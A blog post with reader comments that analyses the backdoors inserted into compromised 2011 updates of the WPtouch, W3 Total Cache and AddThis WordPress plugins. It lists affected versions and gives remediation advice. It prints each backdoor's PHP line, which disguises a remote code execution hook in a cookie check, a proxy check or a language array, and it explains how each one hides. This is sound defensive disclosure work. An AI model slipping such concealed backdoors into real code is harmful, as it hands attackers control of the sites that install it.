Yesterday the WordPress.org team uncovered a series of compromised updates to popular plugins and temporarily shut down the plugin repositories and reset users’ passwords. Their blog post did not go into details however and I decided to hunt down and investigate the backdoors inserted.
What actually happened?
Attackers were able to gain access to the user accounts of three plugin authors’ accounts on WordPress.org and make unauthorised updates to their plugins, which were downloadable for around 24 hours until detected. All three plugins’ updates included a malicious concealed backdoor that allowed arbitrary PHP code to be executed. Anyone who had the compromised updates active could have potentially had their site compromised, but it’s hard to say. Changing passwords and changing the salts and unique keys in wp-config.php ought to lock out any compromised passwords, though further backdoors could have been placed through the use of the existing ones.
The affected plugin versions are: Add This 2.1.3, W3 Total Cache 0.9.2.2 (after 5:41am 21/06), WPtouch 1.9.28
WPtouch
if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2])) $this->desired_view = $matches[1].$matches[2];
The first backdoor to be inserted, this was the most puzzling code to understand. The ‘desired_view’ property is used by WP Touch to determine if to use the mobile theme or not, but its use here is purely for appearance. The code carries out some seemingly mundane checks on whether a cookie with a certain key is set and if so, sets the view accordingly. The cookie is not actually part of the plugin however, with the variable used simply to further disguise its purpose, and the payload is hidden as an if() clause. It uses a regex pattern to extract two variables from the cookie, then calls them as a function and its parameter respectively.
W3 Total Cache
if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) { $this->cache_reject_reason = 'proxy';
The second backdoor is nested within a block labelled “Skip if proxy” and in its defence, it does do this. It just happens to also pass the browser’s HTTP_X_FORWARD_FOR header to assert(), a PHP debug function that executes any strings passed to it as PHP code. Missing the error-suppressing found in Add This, but best of the bunch for concealment.
Add This
$addthis_languages = array(''=>'Automatic', [...] 'th'=>'Thai', 'ur'=>'Urdu', 'cy'=>'Welsh', 'vi'=>'Vietnamese', 're'=>@assert(wp_get_referer()));
The third and final backdoor is hidden inside an array of language names (RE is the country code for Reunion Island), again using assert(). It’s passed the browser’s referrer header via WordPress native functionality, so while the code looks slightly out of place, it’s easily enough passed over by anyone expecting native code. The @ keeps it from appearing as an error if the assertion fails.
Follow me on Twitter: @adamhmharley
Thanks for the explanation. What I am not clear on is . . .
1) If we use these plug-ins and updated the malicious versions yesterday, are our passwords and other data comprised – or did this affect only wordpress.org?
2) There is apparently a force reset for wordpress.org. Do we need to change our passwords for our self-hosted blogs?
Thank you,
If you installed the malicious versions of the plugins and had them active, then your install could have been compromised through the exploits, but it’s hard to know. I’d recommend changing the passwords as well as the unique keys and salts in wp-config.php to be safe.
Thank you.
Pingback: WordPress.org再遭入侵,热门插件植入恶意程序 « 每日IT新闻,最新IT资讯,聚合多站点消息,保证你与世界同步
Is it possible to have in the post the version number of the 3 corrumpted plugins to be able to check if we are impacted ?
Thanks
Sure. The affected versions were:
W3 Total Cache had an already released version modified, so I’m not sure if that would have affected downloads from that point on or not.
Edit: It did.
In the first example, $matches[1] could be set as “eval” and $matches[2] to any PHP code to be executed. This does not seems limited to me.
Those are pretty well concelead backdoors, much better than the usual eval/base64 encode
Yeah that wasn’t the best wording in hindsight, just meant it was slightly limited since it requires eval to be passed rather than just any code as with the others. I’ve taken it out since it’s a bit misleading.
Thank you for posting this information. I wondered what had actually happened. I’m pretty annoyed with WordPress for not making the dashboard warning more noticeable: “Password Reset” is a pretty poor way to draw attention to it. Still, resetting the passwords for all my sites’ users gives me a good excuse to contact them.
RE: WPtouch 1.9.28
Please upgrade to WPtouch 1.9.29
Pingback: dimis » Blog Archive » Wordpress
Pingback: 3 Wordpress Plugins Compromised
If I have w3 total cache Version 0.9.2.3 would I be effected?
You should be fine as long as you didn’t download 0.9.2.2 after 5:41am 21/06 and have it active before installing 0.9.2.3.
Pingback: Κακόβουλο λογισμικό σε plugins του WordPress | SecNews
Pingback: TreeCompare is a Lightweight Folder Comparison Software | Raymond.CC Blog
Great work, I must say. I rarely leave comments for these kinds of things, but this was a great reverse engineering post 🙂 Keep it up!
– redditor
Thanks!
Pingback: WordPress is it worth it | cadentcomputing.com
Pingback: Links for 2011-06-23 | Robert Price
Pingback: AddThis, WPtouch and W3 Total Cache plugins were Hacked | MognetMognet